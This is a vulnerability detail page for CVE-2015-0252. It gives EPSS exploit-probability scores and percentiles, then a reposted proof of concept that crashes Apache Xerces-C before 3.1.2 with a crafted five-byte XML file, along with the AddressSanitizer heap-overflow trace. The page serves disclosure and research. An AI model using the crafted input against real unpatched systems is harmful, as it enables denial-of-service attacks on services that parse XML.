CVE-2015-0252 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	72.65%	–	–
2022-08-14	–	–	70.44%	–	–
2023-03-12	–	–	–	3.9%	–
2024-02-11	–	–	–	3.9%	–
2024-03-03	–	–	–	4.04%	–
2024-06-02	–	–	–	4.06%	–
2024-09-22	–	–	–	4.08%	–
2025-01-19	–	–	–	4.08%	–
2025-03-18	–	–	–	–	21.53%
2025-03-30	–	–	–	–	26.74%
2025-03-30	–	–	–	–	26.74,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	99%
2022-08-14	99%
2023-03-12	91%
2024-02-11	92%
2024-03-03	92%
2024-06-02	92%
2024-09-22	92%
2025-01-19	92%
2025-03-18	95%
2025-03-30	96%
2025-03-30	96%

# Exploit Title: Apache Xerces-C XML Parser (< 3.1.2) DoS POC # Date: 2015-05-03 # Exploit Author: beford # Vendor Homepage: http://xerces.apache.org/#xerces-c # Version: Versions prior to 3.1.2 # Tested on: Ubuntu 15.04 # CVE : CVE-2015-0252 Apache Xerces-C XML Parser Crashes on Malformed Input I believe this to be the same issue that was reported on CVE-2015-0252, posting this in case anyone is interested in reproducing it. Original advisory: https://xerces.apache.org/xerces-c/secadv/CVE-2015-0252.txt $ printf "\xff\xfe\x00\x00\x3c" > file.xml $ DOMPrint ./file.xml # Ubuntu 15.04 libxerces-c3.1 package Segmentation fault $ ./DOMPrint ./file.xml # ASAN Enabled build ================================================================= ==6831==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb5d9d87c at pc 0x836a721 bp 0xbf8127a8 sp 0xbf812798 READ of size 1 at 0xb5d9d87c thread T0 #0 0x836a720 in xercesc_3_1::XMLReader::refreshRawBuffer() xercesc/internal/XMLReader.cpp:1719 #1 0x836a720 in xercesc_3_1::XMLReader::xcodeMoreChars(unsigned short*, unsigned char*, unsigned int) xercesc/internal/XMLReader.cpp:1761 #2 0x837183f in xercesc_3_1::XMLReader::refreshCharBuffer() xercesc/internal/XMLReader.cpp:576 #3 0x837183f in xercesc_3_1::XMLReader::peekString(unsigned short const*) xercesc/internal/XMLReader.cpp:1223 #4 0x83ad0ae in xercesc_3_1::ReaderMgr::peekString(unsigned short const*) xercesc/internal/ReaderMgr.hpp:385 #5 0x83ad0ae in xercesc_3_1::XMLScanner::checkXMLDecl(bool) xercesc/internal/XMLScanner.cpp:1608 #6 0x83b6469 in xercesc_3_1::XMLScanner::scanProlog() xercesc/internal/XMLScanner.cpp:1244 #7 0x8d69220 in xercesc_3_1::IGXMLScanner::scanDocument(xercesc_3_1::InputSource const&) xercesc/internal/IGXMLScanner.cpp:206 #8 0x83cd3e7 in xercesc_3_1::XMLScanner::scanDocument(unsigned short const*) xercesc/internal/XMLScanner.cpp:400 #9 0x83ce728 in xercesc_3_1::XMLScanner::scanDocument(char const*) xercesc/internal/XMLScanner.cpp:408 #10 0x849afc5 in xercesc_3_1::AbstractDOMParser::parse(char const*) xercesc/parsers/AbstractDOMParser.cpp:601 #11 0x8050bf2 in main src/DOMPrint/DOMPrint.cpp:398 #12 0xb6f5272d in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x1872d) #13 0x805d3b5 (/ramdisk/DOMPrint+0x805d3b5) 0xb5d9d87c is located 0 bytes to the right of 163964-byte region [0xb5d75800,0xb5d9d87c) allocated by thread T0 here: #0 0xb72c3ae4 in operator new(unsigned int) (/usr/lib/i386-linux-gnu/libasan.so.1+0x51ae4) #1 0x8340cce in xercesc_3_1::MemoryManagerImpl::allocate(unsigned int) xercesc/internal/MemoryManagerImpl.cpp:40 #2 0x8094cb2 in xercesc_3_1::XMemory::operator new(unsigned int, xercesc_3_1::MemoryManager*) xercesc/util/XMemory.cpp:68 #3 0x8daaaa7 in xercesc_3_1::IGXMLScanner::scanReset(xercesc_3_1::InputSource const&) xercesc/internal/IGXMLScanner2.cpp:1284 #4 0x8d6912a in xercesc_3_1::IGXMLScanner::scanDocument(xercesc_3_1::InputSource const&) xercesc/internal/IGXMLScanner.cpp:198 #5 0x83cd3e7 in xercesc_3_1::XMLScanner::scanDocument(unsigned short const*) xercesc/internal/XMLScanner.cpp:400 #6 0x83ce728 in xercesc_3_1::XMLScanner::scanDocument(char const*) xercesc/internal/XMLScanner.cpp:408 #7 0x849afc5 in xercesc_3_1::AbstractDOMParser::parse(char const*) xercesc/parsers/AbstractDOMParser.cpp:601 #8 0x8050bf2 in main src/DOMPrint/DOMPrint.cpp:398 #9 0xb6f5272d in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x1872d) SUMMARY: AddressSanitizer: heap-buffer-overflow xercesc/internal/XMLReader.cpp:1719 xercesc_3_1::XMLReader::refreshRawBuffer()